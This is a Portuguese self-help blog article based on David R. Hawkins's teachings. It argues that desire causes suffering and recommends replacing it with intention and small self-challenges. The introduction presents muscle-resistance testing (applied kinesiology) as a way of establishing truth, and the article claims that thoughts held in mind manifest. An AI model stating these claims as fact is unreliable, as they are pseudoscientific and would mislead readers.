– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: https://davidhawkins.com.br/david-hawkins/biografia-dr-david-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas. Estes dois livros, Poder vs Força e Deixar Ir, foram traduzidos para o português pela editora Pandora Treinamentos e estão disponíveis neste link. Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, assim como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

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O Desejo é a Fonte do Sofrimento – com base em Dr. David Hawkins

Onde há desejo, há intrínseco o sofrimento. Querer é sofrer e sofrer nos faz querer.

O desejo é uma promessa de que quando você tiver algo que você não tem, você será mais feliz. 

Essa falácia do ego nos condiciona a querer cada vez mais.

Isso nos escraviza em momentos e situações transitórias atreladas ao que está fora de nós.

A verdadeira felicidade é interna e independe dos acontecimentos externos.

Está relacionada diretamente ao nosso nível de consciência e integração com a Realidade.

O que é o desejo?

O desejo é um desdobramento da vontade de posse, acúmulo e gula herdado de nossa parte animal.

Esse nosso animal interno busca encontrar e se manter na zona de conforto, evitar os perigos pressupostos encontrados na saída dela.

Por causa deste sistema de sobrevivência instintivo, o desejo se manifesta e se divide em dois:

  • Avidez: é a vontade de nos aproximarmos daquilo que julgamos prazeroso, de acordo com nossas preferências sensoriais;
  • Aversão: é a vontade de nos afastarmos daquilo que julgamos desprazeroso, também de acordo com nossas preferências sensoriais.

Ambos são um e a mesma coisa. Avidez é o desejo de ter. E aversão é o medo de não ter.

Escassez X Abundância

Quando baseamos nossa vida em querer ter, acabamos nos escravizando a fazer o que for necessário para sermos reconhecidos.

A ilusão segue a ordem de “querer ter” para então “fazer” para “ser” alguém.

Essa é uma ilusão de escassez e poder através da conquista e da manipulação.

A chave está em trocar essa fórmula por um processo de abundância: “ser” para então “fazer” e, consequentemente, “ter”.

Essa é uma verdade que gera abundância e poder através da inspiração e do exemplo.

O desejo traz intrínseca em si a expectativa de conquistar, o que culmina no medo de não conseguir.

Como o medo é o núcleo das emoções, predomina em nossa mente — e aquilo que mantemos em mente tende a se manifestar.

O desejo não leva em consideração as variáveis do contexto e acredita que um desejo deve ser sanado.

É a criança mimada dentro de cada um de nós.

Onde se esconde o desejo?

Ele se esconde através do sentimento de necessidade. É como se ele dissesse: “preciso…

  • “… fazer esta tarefa”,
  • “… de uma roupa nova”,
  • “… melhorar meu inglês”,
  • “… subir de cargo”,
  • “… ganhar mais dinheiro”,
  • … comer de três em três horas”.

Consequentemente, todas essas falsas certezas geram uma pressão interna que resulta em autocrítica, autoculpa e autotirania.

Não é preciso nada. A não ser respirar, se quisermos continuar em nosso corpo físico.

Pense bem: você realmente precisa de algo?

Quando falamos que precisamos de algo, afirmamos que para sermos aquilo que esperamos ou que os outros esperam de nós, precisamos fazer ou ter algo específico.

Essa projeção mental nos distancia do que queremos e nos faz sofrer.

E, mesmo que consigamos, nosso ego vai projetar um novo cenário ideal antes mesmo de degustarmos a conquista.

Essa é uma verdade observável.

Observe seu ego agindo ao comer um prato de comida.

Aquilo que está no garfo passa a ser obsoleto quando entra na boca e o objeto de desejo é projetado no que está no prato.

E assim sucessivamente até vermos o fim da refeição. E, logo, vamos querer fazer algo diferente.

Como se desprender do desejo e ser mais feliz?

Para quebrarmos essas correntes que nos mantêm presos nas masmorras dos estímulos sensoriais, devemos trocar desejo por intenção.

A intenção, diferente do desejo, leva em consideração as infinitas possibilidades do contexto. 

Ela sabe que o máximo que podemos fazer é focarmos em nossa intenção (já que o que mantemos em mente tende a se manifestar) e dar o nosso melhor para contribuir com a realização.

O resultado não depende só de nós, mas também das condições e do contexto para se concretizar.

Por isso a intenção é desapegada do resultado. É uma preferência, ao invés de uma autoimposição que gera autopunição se não alcançada.

Benefícios de trocar desejo por intenção.

O ser que se mantém em intenção ao invés de desejo vive um estilo de vida de alegria e gratidão.

Não há reclamação caso não aconteça o resultado, pois respeita o ritmo natural da vida.

O foco é voltado em aproveitar a jornada ao invés de ansiar a chegada ao destino.

  • Desejo é escravidão. Intenção é liberdade.
  • O desejo precisa. A intenção prefere.
  • Desejo considera apenas os seus prazeres. Intenção respeita todos a seu redor.
  • O desejo entende que para um ganhar outro tem que perder. A intenção sabe que é possível todos ganharem.
  • Desejo é escassez. Intenção é abundância.
  • Desejo exclui. Intenção inclui.
  • O desejo acredita que quem dá perde. A intenção sabe que é dando que se recebe.

No desejo, o fim justifica os meios. Na intenção, os meios se desdobram nos fins.

Autodesafios: o caminho prático para se libertar do desejo.

Para diminuir a influência do desejo sobre nossos pensamentos e atitudes, é necessário se autodesafiar.

O autodesafio nos faz diminuir os excessos de nossos prazeres e as ausências causadas por nossas aversões, levando ao equilíbrio harmônico.

É possível identificar o que está desequilibrado em cada área da vida e buscar o equilíbrio através da escolha de um exemplo de autodesafio contido nesta lista.

Um autodesafio que atinge o cerne da escravidão gerada pelo desejo é a simples mudanças da sensação emocional e da mentalização de “preciso” para “prefiro”.

É interessante escrever uma lista de tudo que você acredita que precisa e depois reescrevê-la com o “não” na frente do “preciso”, para que você se depare com a verdade do “não preciso”.

Depois, aquilo que realmente você sentir ser importante, pode ser incluído em uma terceira lista com a palavra “prefiro” ao invés de “preciso”.

E, então, dar o seu melhor e focar em agradecer os resultados que a vida te entregar ao invés de reclamar daqueles que ainda não foram permitidos alcançar.

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa: para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual